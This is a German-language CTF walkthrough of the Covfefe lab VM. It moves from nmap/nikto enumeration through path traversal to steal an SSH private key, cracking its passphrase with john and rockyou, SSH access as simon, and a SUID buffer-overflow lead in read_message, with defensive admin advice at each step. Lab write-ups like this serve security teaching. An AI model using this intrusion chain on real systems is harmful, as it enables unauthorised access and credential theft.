192.168.2.177 08:00:27:67:8e:b1 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird genutzt, um das lokale Netzwerk nach aktiven Geräten abzusuchen. Er funktioniert durch das Senden von ARP-Requests und das Sammeln von Antworten.
Bewertung: Ein aktiver Host wurde unter der IP `192.168.2.177` identifiziert. Die MAC-Adresse `08:00:27:67:8e:b1` (PCS Systemtechnik GmbH) deutet stark auf eine VirtualBox-Umgebung hin. Dies ist unser Zielsystem.
Empfehlung (Pentester): Fokussiere weitere Scans auf die IP `192.168.2.177`. Die Information über die VirtualBox-Umgebung kann später nützlich sein.
Empfehlung (Admin): Netzwerküberwachung und Asset Management sind wichtig, um den Überblick über aktive Systeme zu behalten.
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.177 covfefe.vln
Analyse: Die lokale `/etc/hosts`-Datei auf dem Angreifer-Rechner wird bearbeitet. Der Eintrag `192.168.2.177 covfefe.vln` wird hinzugefügt, um den Hostnamen `covfefe.vln` direkt der IP des Ziels zuzuordnen.
Bewertung: Dies ist ein sinnvoller Schritt, um sicherzustellen, dass Webanwendungen oder andere Dienste, die auf dem Ziel laufen und eventuell über Hostnamen angesprochen werden müssen (z.B. bei virtuellen Hosts), korrekt funktionieren.
Empfehlung (Pentester): Immer entdeckte oder vermutete Hostnamen in `/etc/hosts` eintragen, um die weitere Enumeration und Ausnutzung zu erleichtern.
Empfehlung (Admin): Clientseitige Einstellung ohne direkte Serverimplikation.
22/tcp open ssh penSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp open http nginx 1.10.3
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
Analyse: Ein detaillierter Nmap-Scan wird durchgeführt, um offene Ports und Dienste auf dem Ziel zu identifizieren. Die Optionen `-sS -sC -sV -T5 -A -Pn -p-` sorgen für einen SYN-Scan, Standardskripte, Versionserkennung, aggressives Timing, umfassende Erkennung (OS, Version, Skripte, Traceroute), Deaktivierung des Host-Discovery-Pings und das Scannen aller TCP-Ports. Die Ausgabe wird mit `grep open` gefiltert.
Bewertung: Drei offene Ports werden gefunden: * 22/tcp: SSH (OpenSSH 7.4p1, Debian 10). Eine etwas ältere Version. * 80/tcp: HTTP (nginx 1.10.3). Eine ältere Version von nginx. * 31337/tcp: HTTP (Werkzeug httpd 0.11.15, Python 3.5.3). Ein ungewöhnlicher Port für einen Webserver, der auf einer Python-Anwendung basiert. Dieser Port ist besonders interessant. Alle drei Dienste bieten potenzielle Angriffsvektoren.
Empfehlung (Pentester): Untersuche die Webserver auf Port 80 und insbesondere Port 31337 intensiv. Prüfe SSH auf bekannte Schwachstellen (z.B. CVEs für OpenSSH 7.4p1) und mögliche schwache Anmeldedaten.
Empfehlung (Admin): Aktualisiere OpenSSH, nginx und die Python-Anwendung (inklusive Werkzeug). Schließe nicht benötigte Ports oder beschränke den Zugriff darauf (Firewall). Überwache den ungewöhnlichen Port 31337.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-14 00:19 CEST
Nmap scan report for covfefe.vln (192.168.2.177)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a (RSA)
| 256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96 (ECDSA)
|_ 256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc (ED25519)
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
|_http-server-header: Werkzeug/0.11.15 Python/3.5.3
| http-robots.txt: 3 disallowed entries
| /.bashrc /.profile /taxes
|_http-title: 404 Not Found
MAC Address: 08:00:27:67:8E:B1 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.16 ms covfefe.vln (192.168.2.177)
Analyse: Derselbe Nmap-Scan wie zuvor, aber diesmal wird die vollständige Ausgabe angezeigt (ohne `grep open`).
Bewertung: Die Ausgabe bestätigt die offenen Ports und Dienste. Zusätzliche Details sind nun sichtbar: * SSH-Hostkeys werden angezeigt. * Port 80 (nginx) zeigt die Standard-Willkommensseite ("Welcome to nginx!"). Dies deutet darauf hin, dass hier möglicherweise keine benutzerdefinierte Anwendung läuft oder diese in einem Unterverzeichnis liegt. * Port 31337 (Werkzeug/Python) liefert einen "404 Not Found"-Titel, was darauf hindeutet, dass der Root-Pfad `/` keine gültige Ressource ist. **Sehr wichtig:** Das NSE-Skript hat auf diesem Port eine `robots.txt`-Datei gefunden (`http-robots.txt`) mit drei `Disallow`-Einträgen: `/.bashrc`, `/.profile` und `/taxes`. Diese Einträge sind extrem verdächtig, da sie auf potenziell sensible Dateien/Pfade hinweisen. * Die OS-Erkennung schätzt Linux Kernel 3.2 - 4.9. * Die MAC-Adresse bestätigt erneut VirtualBox.
Empfehlung (Pentester): Untersuche die in der `robots.txt` auf Port 31337 gefundenen Pfade (`/.bashrc`, `/.profile`, `/taxes`). Insbesondere `/taxes` klingt vielversprechend. Der Nginx-Server auf Port 80 scheint weniger interessant zu sein, sollte aber nicht ganz ignoriert werden (z.B. für Verzeichnis-Bruteforce).
Empfehlung (Admin): Konfiguriere `robots.txt` korrekt. Sie sollte keine Hinweise auf sensible interne Dateien oder Pfade geben. Überprüfe die Anwendung auf Port 31337 auf Sicherheitslücken, insbesondere Path Traversal oder LFI, da die `robots.txt`-Einträge darauf hindeuten könnten. Aktualisiere das Betriebssystem und alle Dienste.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.177
+ Target Hostname: 192.168.2.177
+ Target Port: 80
+ Start Time: 2023-10-14 00:19:55 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2023-10-14 00:20:07 (GMT2) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 (Standard-HTTP-Port, auf dem nginx läuft) des Ziels ausgeführt (`-h 192.168.2.177`).
Bewertung: Nikto findet einige Punkte: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`): Gängige Funde, deuten auf mangelnde Härtung hin, aber selten direkt ausnutzbar. * Keine CGI-Verzeichnisse gefunden. * `/#wp-config.php#`: Nikto meldet den Fund einer WordPress-Konfigurations-Backup-Datei. Dies ist interessant, da WordPress normalerweise auf Apache/PHP läuft, nicht auf nginx (obwohl es möglich ist). Die Raute-Symbole (`#`) deuten auf eine typische Backup-Namenskonvention von Editoren hin. Diese Datei könnte sensible Datenbank-Zugangsdaten enthalten. Obwohl der Nmap-Scan auf Port 80 nur die Standard-nginx-Seite zeigte, deutet der Fund von Nikto darauf hin, dass hier möglicherweise doch Reste einer WordPress-Installation liegen oder lagen.
Empfehlung (Pentester): Versuche, die Datei `/#wp-config.php#` (oder Variationen wie `wp-config.php.bak`, `wp-config.php~`) manuell über den Browser oder `curl` von Port 80 herunterzuladen. Untersuche den Inhalt auf Zugangsdaten. Führe trotz der Standardseite einen Verzeichnis-Scan (z.B. mit `gobuster`) auf Port 80 durch.
Empfehlung (Admin): Entferne unnötige Backup-Dateien oder Konfigurationsdateien aus dem Web-Root. Implementiere die fehlenden Sicherheitsheader.
[... Gobuster-Ausgabe - findet vermutlich nichts auf Port 80 aufgrund des Filters -b '...,301']
[Ausgabe aus dem Originaltext, die hier vermutlich fehlplatziert ist:]
http://covfefe.vln:31337/robots.txt
Analyse: Es wird ein `gobuster dir`-Scan gestartet, um Verzeichnisse und Dateien auf `http://covfefe.vln` (Port 80) zu finden. * `-u http://covfefe.vln`: Ziel-URL (Port 80). * `-x ...`: Liste von Dateiendungen, inklusive `.bak`. * `-w ...`: Wortliste. * `-b '403,404,301'`: Statuscodes, die **ausgeblendet** werden sollen (Forbidden, Not Found, Moved Permanently). Das Ausblenden von 301 ist ungewöhnlich und könnte dazu führen, dass gültige Verzeichnisse (die oft einen Redirect auf `verzeichnis/` machen) übersehen werden. * `-e`: Erweiterter Modus. * `--no-error`: Fehler unterdrücken. * `-k`: Unsichere SSL/TLS-Zertifikate ignorieren (hier irrelevant, da HTTP). Die Ausgabe im Originaltext (`http://covfefe.vln:31337/robots.txt`) gehört jedoch eindeutig zu Port 31337 und nicht zu diesem Scan auf Port 80.
Bewertung: Der Gobuster-Scan auf Port 80, wie er hier konfiguriert ist (insbesondere mit `-b 301`), wird wahrscheinlich keine nützlichen Ergebnisse liefern, da er Redirects ignoriert und die Standard-nginx-Seite aktiv ist. Die im Text gezeigte Ausgabe bezieht sich auf Port 31337 und bestätigt den Fund aus dem Nmap-Scan: Auf dem Werkzeug-Server existiert eine `robots.txt`.
Empfehlung (Pentester): Führe den Gobuster-Scan auf Port 80 ohne `-b 301` erneut durch, um sicherzugehen. Konzentriere die weitere Enumeration aber auf Port 31337. Untersuche die `robots.txt` auf Port 31337.
Empfehlung (Admin): Überprüfe die Konfiguration auf Port 80. Stelle sicher, dass keine unnötigen Dateien oder Verzeichnisse vorhanden sind.
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
Analyse: Mit `curl` wird versucht, die Wurzel (`/`) des Webservers auf Port 31337 abzurufen.
Bewertung: Der Server antwortet mit einer 404-ähnlichen Meldung ("The requested URL was not found..."). Dies bestätigt die Nmap-Erkenntnis (`http-title: 404 Not Found`) und zeigt, dass der Pfad `/` selbst keine gültige Ressource ist. Wir müssen spezifische Pfade aufrufen, wie z.B. die aus der `robots.txt`.
Empfehlung (Pentester): Rufe die Pfade aus der `robots.txt` auf Port 31337 ab.
Empfehlung (Admin): Konfiguriere eine aussagekräftigere Startseite oder Fehlerseite für den Root-Pfad, falls gewünscht.
* processing: http://covfefe.vln:31337/
* Trying 192.168.2.177:31337...
* Connected to covfefe.vln (192.168.2.177) port 31337
> HEAD / HTTP/1.1
> Host: covfefe.vln:31337
> User-Agent: curl/8.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 404 NT FUND
< Content-Type: text/html
< Content-Length: 233
< Server: Werkzeug/0.11.15 Python/3.5.3
< Date: Fri, 13 ct 2023 22:21:28 GMT
<
* Closing connection
Analyse: Erneuter Abruf der Wurzel (`/`) auf Port 31337 mit `curl`, diesmal mit den Optionen `-I` und `-v`. * `-I`: Sendet eine HEAD-Anfrage (ruft nur die Header ab, nicht den Body). * `-v`: Verbose-Modus, zeigt detaillierte Informationen über die Verbindung und die Anfrage/Antwort an.
Bewertung: Die Ausgabe bestätigt den 404-Statuscode ("HTTP/1.0 404 NT FUND"). Sie zeigt auch explizit die Server-Header (`Server: Werkzeug/0.11.15 Python/3.5.3`), was die Nmap-Ergebnisse untermauert.
Empfehlung (Pentester): Die Header bestätigen die Technologie. Fokussiere dich auf die Pfade aus der `robots.txt`.
Empfehlung (Admin): Header können Informationen preisgeben. Minimale Header zu senden kann die Informationsgewinnung für Angreifer erschweren.
Analyse:** Die nächsten Blöcke zeigen die manuelle Untersuchung der Pfade, die in der `robots.txt` auf Port 31337 gefunden wurden.
User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes
Bewertung: Dies ist der Inhalt der `robots.txt`, wie bereits von Nmap angedeutet. Die Einträge `/.bashrc` und `/.profile` deuten auf die Möglichkeit hin, auf Benutzer-Home-Verzeichnisse zuzugreifen (Path Traversal/LFI). Der Eintrag `/taxes` ist ein benutzerdefiniertes Verzeichnis, das untersucht werden sollte.
Empfehlung (Pentester): Versuche, `http://covfefe.vln:31337/taxes/` aufzurufen. Versuche außerdem, auf `http://covfefe.vln:31337/.bashrc` und `http://covfefe.vln:31337/.profile` zuzugreifen. Wenn dies funktioniert, ist eine Path Traversal / LFI Schwachstelle bestätigt.
Empfehlung (Admin): `robots.txt` sollte keine sensiblen Pfade oder Dateien auflisten. Behebe die zugrundeliegende LFI/Path Traversal-Schwachstelle.
Good job! Here is a flag: flag1{make_america_great_again}
Bewertung: Erfolg! Der Zugriff auf das `/taxes/`-Verzeichnis auf Port 31337 war erfolgreich und enthüllt direkt die erste Flag: `flag1{make_america_great_again}`.
Empfehlung (Pentester): Notiere die Flag. Nutze die offensichtliche LFI/Path Traversal-Schwachstelle, um weitere sensible Dateien zu suchen, insbesondere SSH-Keys oder Konfigurationsdateien.
Empfehlung (Admin): Entferne sensible Informationen (wie Flags) aus öffentlich zugänglichen Web-Pfaden. Behebe die LFI/Path Traversal-Schwachstelle.
Analyse:** Aufbauend auf der Entdeckung der LFI/Path Traversal-Schwachstelle auf Port 31337 wird nun versucht, SSH-Schlüssel zu extrahieren, um einen direkten Login zu erhalten.
[Inhalt der id_rsa wird angezeigt/heruntergeladen]
[Inhalt der id_rsa.pub wird angezeigt/heruntergeladen]
Analyse:** Im Berichtstext wird erwähnt "Firefox Download per LFI", gefolgt von den URLs zu einem privaten (`id_rsa`) und öffentlichen (`id_rsa.pub`) SSH-Schlüssel. Dies impliziert, dass die LFI/Path Traversal-Schwachstelle auf Port 31337 genutzt wurde, um auf das `.ssh`-Verzeichnis (vermutlich des Benutzers, der den Werkzeug-Server gestartet hat, oder eines anderen Benutzers) zuzugreifen und die Schlüssel herunterzuladen.
Bewertung:** Das Erlangen eines privaten SSH-Schlüssels (`id_rsa`) ist ein kritischer Fund. Selbst wenn er passwortgeschützt ist, bietet er einen klaren Weg zum potenziellen Initial Access, falls das Passwort geknackt werden kann. Der öffentliche Schlüssel (`id_rsa.pub`) verrät oft auch den Benutzernamen, dem der Schlüssel gehört.
Empfehlung (Pentester): Analysiere den öffentlichen Schlüssel, um den Benutzernamen zu ermitteln. Versuche, das Passwort für den privaten Schlüssel mit Tools wie `ssh2john` und `john` zu knacken.
Empfehlung (Admin):** **Dringend die LFI/Path Traversal-Schwachstelle im Werkzeug-Server auf Port 31337 beheben!** Webserver sollten niemals Zugriff auf sensible Verzeichnisse wie `.ssh` haben. Berechtigungen für Home-Verzeichnisse und SSH-Schlüssel korrekt setzen.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,BD8515E8D3A10829A4D710D5AFAC64AB
[... Verschlüsselter Key-Inhalt ...]
-----END RSA PRIVATE KEY-----
Analyse: Der Inhalt des heruntergeladenen privaten Schlüssels `id_rsa` wird angezeigt. Die Header `Proc-Type: 4,ENCRYPTED` und `DEK-Info: AES-128-CBC,...` bestätigen, dass der Schlüssel mit einer Passphrase verschlüsselt ist.
Bewertung: Der Schlüssel kann nicht direkt verwendet werden. Das Passwort muss geknackt werden.
Empfehlung (Pentester): Extrahiere den Hash des Passworts mit `ssh2john`.
Empfehlung (Admin): Verwende immer starke Passphrasen für SSH-Schlüssel.
ssh-rsa A8wYTLdoUVa2wiJv0PfrdA5xnxbsN4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K22T7XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExR simon@covfefe
Analyse: Der Inhalt des öffentlichen Schlüssels `id_rsa.pub` wird angezeigt.
Bewertung: Am Ende des öffentlichen Schlüssels steht der Kommentar `simon@covfefe`. Dies ist ein sehr starker Hinweis darauf, dass der Schlüssel dem Benutzer `simon` auf dem Host `covfefe` gehört. Wir haben jetzt einen Zielbenutzernamen.
Empfehlung (Pentester): Notiere den Benutzernamen `simon`. Versuche, das Passwort für `simon`s `id_rsa`-Schlüssel zu knacken.
Empfehlung (Admin): Der Kommentar im Public Key ist Standard, aber Administratoren sollten sich bewusst sein, dass er den Benutzernamen preisgibt.
[Keine direkte Ausgabe, Hash wird in die Datei 'hash' umgeleitet]
Analyse: Das Tool `ssh2john` (Teil von John the Ripper) wird verwendet, um den verschlüsselten privaten Schlüssel `id_rsa` zu verarbeiten und einen Hash-String zu extrahieren, der das Passwort repräsentiert. Dieser Hash wird in die Datei `hash` umgeleitet.
Bewertung: Notwendiger Schritt, um den Hash für das Passwort-Cracking mit `john` vorzubereiten.
Empfehlung (Pentester): Verwende die erstellte `hash`-Datei im nächsten Schritt mit `john`.
Empfehlung (Admin): Keine direkte Aktion, außer starke Passphrasen zu verwenden.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 openMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
starwars (id_rsa)
1g 0:00:00:00 DONE (2023-10-14 00:29) 100.0g/s 89600p/s 89600c/s 89600C/s dreams..151515
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: John the Ripper (`john`) wird verwendet, um den extrahierten Hash aus der Datei `hash` zu knacken. * `--wordlist=/usr/share/wordlists/rockyou.txt`: Gibt an, dass die bekannte Passwortliste `rockyou.txt` für den Angriff verwendet werden soll.
Bewertung: **Erfolg!** John the Ripper hat die Passphrase für den SSH-Schlüssel schnell gefunden: `starwars`. Dies ist ein relativ schwaches Passwort, das in gängigen Wortlisten enthalten ist.
Empfehlung (Pentester): Verwende den geknackten privaten Schlüssel `id_rsa` zusammen mit der Passphrase `starwars`, um dich als Benutzer `simon` per SSH auf dem Zielsystem anzumelden.
Empfehlung (Admin): Erzwinge die Verwendung starker, komplexer Passphrasen für SSH-Schlüssel, die nicht in Wortlisten vorkommen. Überwache fehlgeschlagene Login-Versuche.
Ziel des POC: Demonstrieren, wie durch Ausnutzung einer LFI/Path Traversal-Schwachstelle im Webserver auf Port 31337 ein privater SSH-Schlüssel erlangt, dessen Passphrase geknackt und anschließend ein SSH-Login als Benutzer `simon` durchgeführt werden kann.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. SSH-Keys via LFI herunterladen: Die LFI-Schwachstelle nutzen, um `id_rsa` und `id_rsa.pub` aus dem `.ssh`-Verzeichnis (vermutlich `/home/simon/.ssh/`) zu laden.
[...]
[...]
2. Benutzername identifizieren: Den Kommentar im öffentlichen Schlüssel untersuchen.
ssh-rsa AAAA[...] simon@covfefe
3. Passphrase-Hash extrahieren: `ssh2john` verwenden.
4. Passphrase knacken: `john` mit einer Wortliste verwenden.
[...]
starwars (id_rsa)
[...]
5. SSH-Login: Mit dem Benutzernamen, dem privaten Schlüssel und der geknackten Passphrase anmelden.
Enter passphrase for key 'id_rsa': starwars [Eingabe der Passphrase]
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686
[...]
simon@covfefe$
Ergebnis & Bewertung: **Hervorragend! Der initiale Zugriff als Benutzer `simon` war erfolgreich!** Durch die Kombination von Webserver-Schwachstelle (LFI/Path Traversal) und dem Knacken eines schwachen SSH-Schlüssel-Passworts konnte eine interaktive Shell auf dem Zielsystem erlangt werden. Dies demonstriert, wie Schwachstellen in Webanwendungen zu einem vollständigen Systemzugriff führen können.
Empfehlung (Pentester): Beginne mit der Enumeration als Benutzer `simon`. Suche nach Fehlkonfigurationen, weiteren Schwachstellen oder SUID-Binaries, um die Rechte zu `root` zu eskalieren.
Empfehlung (Admin): **LFI/Path Traversal-Schwachstelle im Webserver auf Port 31337 dringend beheben!** Erzwinge starke SSH-Schlüssel-Passphrasen. Überwache SSH-Logins.
Analyse:** Nach dem erfolgreichen Login als `simon` wird das System auf Möglichkeiten zur Rechteerweiterung untersucht.
total 36
drwxr-xr-x 3 simon simon 4096 Jul 9 2017 .
drwxr-xr-x 3 root root 4096 Jun 28 2017 ..
-rw------- 1 simon simon 19 Jun 28 2017 .bash_history
-rw-r--r-- 1 simon simon 220 Jun 28 2017 .bash_logout
-rw-r--r-- 1 simon simon 3526 Jun 28 2017 .bashrc
-rwxr-xr-x 1 simon simon 449 Jul 9 2017 http_server.py
-rw-r--r-- 1 simon simon 675 Jun 28 2017 .profile
-rw-r--r-- 1 simon simon 70 Jul 9 2017 robots.txt
drwx------ 2 simon simon 4096 Jun 28 2017 .ssh
Analyse: Auflisten des Inhalts des Home-Verzeichnisses von `simon`.
Bewertung: Zeigt Standard-Konfigurationsdateien (`.bashrc`, `.profile`), das `.ssh`-Verzeichnis und zwei interessante Dateien: `http_server.py` und `robots.txt`. Diese könnten Reste des Webservers auf Port 31337 sein.
Empfehlung (Pentester): Untersuche den Inhalt von `http_server.py`, um die LFI-Schwachstelle besser zu verstehen.
Empfehlung (Admin): Entferne nicht benötigte Dateien aus Home-Verzeichnissen.
uid=1000(simon) gid=1000(simon) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686 GNU/Linux
Analyse: Grundlegende Befehle zur Identifizierung des Benutzers und des Systems werden ausgeführt.
Bewertung: Bestätigt Benutzer `simon` und zeigt die Kernel-Version (Linux 4.9.0, Debian, 32-Bit i686-Architektur). Die Kernel-Version ist relativ alt (2017) und könnte für Kernel-Exploits anfällig sein, aber der Fokus liegt nun auf SUID-Binaries.
Empfehlung (Pentester): Suche nach SUID/GUID-Binaries und anderen Fehlkonfigurationen.
Empfehlung (Admin): Halte das System und den Kernel aktuell.
261713 40 -rwsr-xr-x 1 root root 39632 May 17 2017 /usr/bin/chsh
261716 60 -rwsr-xr-x 1 root root 57972 May 17 2017 /usr/bin/passwd
261712 48 -rwsr-xr-x 1 root root 48560 May 17 2017 /usr/bin/chfn
261715 80 -rwsr-xr-x 1 root root 78340 May 17 2017 /usr/bin/gpasswd
264578 36 -rwsr-xr-x 1 root root 34920 May 17 2017 /usr/bin/newgrp
271967 48 -rwsr-xr-- 1 root messagebus 46436 Apr 6 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
393292 8 -rwsr-xr-x 1 root root 5480 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
274840 516 -rwsr-xr-x 1 root root 525932 Mar 30 2017 /usr/lib/openssh/ssh-keysign
275776 8 -rwsr-xr-x 1 root staff 7608 Jul 2 2017 /usr/local/bin/read_message
131146 28 -rwsr-xr-x 1 root root 26504 Mar 22 2017 /bin/umount
131130 40 -rwsr-xr-x 1 root root 39144 May 17 2017 /bin/su
131145 40 -rwsr-xr-x 1 root root 38940 Mar 22 2017 /bin/mount
131809 68 -rwsr-xr-x 1 root root 68076 Nov 10 2016 /bin/ping
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit gesetztem SUID-Bit, die mit den Rechten des Eigentümers (oft root) ausgeführt werden.
Bewertung: Neben vielen Standard-SUID-Binaries fällt `/usr/local/bin/read_message` auf. Es gehört `root`, hat das SUID-Bit gesetzt und befindet sich in `/usr/local/bin`, was oft auf benutzerdefinierte oder zusätzlich installierte Programme hindeutet. Die Gruppenzugehörigkeit `staff` ist ebenfalls interessant. Dieses Binary ist ein Hauptkandidat für Privilege Escalation.
Empfehlung (Pentester): Untersuche das Binary `/usr/local/bin/read_message` genauer. Führe es aus, analysiere sein Verhalten und untersuche es auf Schwachstellen (z.B. Buffer Overflows, Command Injection).
Empfehlung (Admin): Überprüfe benutzerdefinierte SUID-Programme sorgfältig auf Sicherheit. Entferne das SUID-Bit, wenn es nicht zwingend erforderlich ist.
-rwsr-xr-x 1 root staff 7608 Jul 2 2017 /usr/local/bin/read_message
Analyse: Zeigt die detaillierten Berechtigungen und Metadaten der gefundenen Datei.
Bewertung: Bestätigt SUID-Bit (`s` anstelle von `x` für den Eigentümer) und Eigentümer `root`. Die Datei ist für alle les- und ausführbar.
Empfehlung (Pentester): Die Datei sollte zur weiteren Analyse auf das Angreifer-System übertragen werden.
Empfehlung (Admin): Keine zusätzliche Empfehlung.
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:31337 *:* users:(("python3",pid=314,fd=3))
LISTEN 0 128 *:80 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 :::80 :::*
LISTEN 0 128 :::22 :::*
Analyse: Der Befehl `ss -atlpn` listet lauschende (`LISTEN`) TCP-Sockets (`-t`) mit Prozessinformationen (`-p`) und numerischen Adressen/Ports (`-n`) auf.
Bewertung: Bestätigt die von Nmap gefundenen offenen Ports 22 (SSH), 80 (nginx) und 31337. Zeigt auch, dass der Dienst auf Port 31337 vom Prozess `python3` mit der PID 314 bereitgestellt wird. Dies untermauert die Vermutung, dass es sich um eine benutzerdefinierte Python-Anwendung handelt.
Empfehlung (Pentester): Die Information bestätigt die laufenden Dienste. Fokus bleibt auf `read_message`.
Empfehlung (Admin): Regelmäßige Überprüfung lauschender Ports ist Teil der Systemüberwachung.
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.2.199 - - [14/Oct/2023 08:36:30] code 404, message File not found
192.168.2.199 - - [14/Oct/2023 08:36:30] "GET /read_massage HTTP/1.1" 404 -
192.168.2.199 - - [14/Oct/2023 08:36:51] "GET /read_message HTTP/1.1" 200 -
--2023-10-14 00:36:51-- http://192.168.2.177:8000/read_message
Verbindungsaufbau zu 192.168.2.177:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 7608 (7,4K) [application/octet-stream]
Wird in 'read_message' gespeichert.
read_message 100%[===================>] 7,43K --.-KB/s in 0s
2023-10-14 00:36:51 (763 MB/s) - 'read_message' gespeichert [7608/7608]
Analyse: Um das SUID-Binary `/usr/local/bin/read_message` genauer zu analysieren, wird es vom Zielsystem auf das Angreifer-System übertragen. 1. Auf dem Zielsystem (`simon@covfefe`) wird im Verzeichnis `/usr/local/bin` ein einfacher Python-HTTP-Server auf Port 8000 gestartet (`python3 -m http.server`). 2. Auf dem Angreifer-System (`root@Cybermaschine`) wird `wget` verwendet, um die Datei `read_message` vom Ziel über den gestarteten HTTP-Server herunterzuladen.
Bewertung: Dies ist eine gängige und einfache Methode, um Dateien von einem kompromittierten System zu exfiltrieren, wenn kein direkter Dateitransfer (wie SCP) möglich oder gewünscht ist.
Empfehlung (Pentester): Analysiere die heruntergeladene Datei `read_message` nun lokal mit Tools wie `strings`, `ltrace`, `strace`, oder einem Disassembler/Decompiler (wie Ghidra, das später erwähnt wird).
Empfehlung (Admin): Überwache ausgehende Verbindungen und ungewöhnliche Prozesse wie temporäre HTTP-Server. Egress-Filtering kann solche Transfers verhindern.
What is your name?
ben [Eingabe]
Sorry ben, you're not Simon! The Internet Police have been informed of this violation.
What is your name?
Simon [Eingabe]
Hello Simon! Here is your message:
Hi Simon, I hope you like our private messaging system.
I'm really happy with how it worked out!
If you're interested in how it works, I've left a copy of the
source code in my home directory.
- Charlie Root
Analyse: Das Programm `/usr/local/bin/read_message` wird auf dem Zielsystem ausgeführt, um sein Verhalten zu beobachten. Es fragt nach einem Namen. Gibt man etwas anderes als "Simon" ein, gibt es eine Fehlermeldung. Gibt man "Simon" ein, wird eine Nachricht angezeigt.
Bewertung: Das Programm scheint eine einfache Authentifizierung basierend auf dem eingegebenen Namen durchzuführen. Die Nachricht für "Simon" enthält einen wichtigen Hinweis: Der Quellcode soll im Home-Verzeichnis des Autors ("Charlie Root" - vermutlich ein Scherzname, der auf den Root-Benutzer anspielt) liegen.
Empfehlung (Pentester): Die Namensabfrage und die feste Zeichenkette "Simon" sind interessant. Untersuche das Programm auf Buffer Overflows, insbesondere bei der Namenseingabe. Versuche, auf das Home-Verzeichnis von root (`/root`) zuzugreifen, um den erwähnten Quellcode zu finden (obwohl dies als `simon` normalerweise nicht gehen sollte).
Empfehlung (Admin): SUID-Programme sollten sorgfältig auf Sicherheitslücken geprüft werden, bevor sie bereitgestellt werden. Eingabevalidierung ist entscheidend.
Analyse:** Der Text erwähnt "Ghidra --> decompile", was darauf hindeutet, dass das heruntergeladene `read_message`-Binary offline mit dem Decompiler Ghidra analysiert wurde. Der folgende C-Code ist das Ergebnis dieser Decompilation.
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
undefined4 local_3a; // Vermutlich Teil von "Simon\0"
undefined2 local_36; // Vermutlich Teil von "Simon\0"
char local_34 [20]; // Puffer für die Eingabe (gets) - Größe 20 Bytes!
undefined4 local_20; // Teil des Pfads "/usr/local/sbin/message"
undefined4 local_1c; // Teil des Pfads "/usr/local/sbin/message"
undefined4 local_18; // Teil des Pfads "/usr/local/sbin/message"
undefined4 local_14; // Teil des Pfads "/usr/local/sbin/message"
undefined4 local_10; // Teil des Pfads "/usr/local/sbin/message"
undefined4 local_c; // Teil des Pfads "/usr/local/sbin/message"
// Initialisierung des Pfads "/usr/local/sbin/message" auf dem Stack
local_20 = 0x7273752f; // "/usr"
local_1c = 0x636f6c2f; // "/loc"
local_18 = 0x732f6c61; // "al/s"
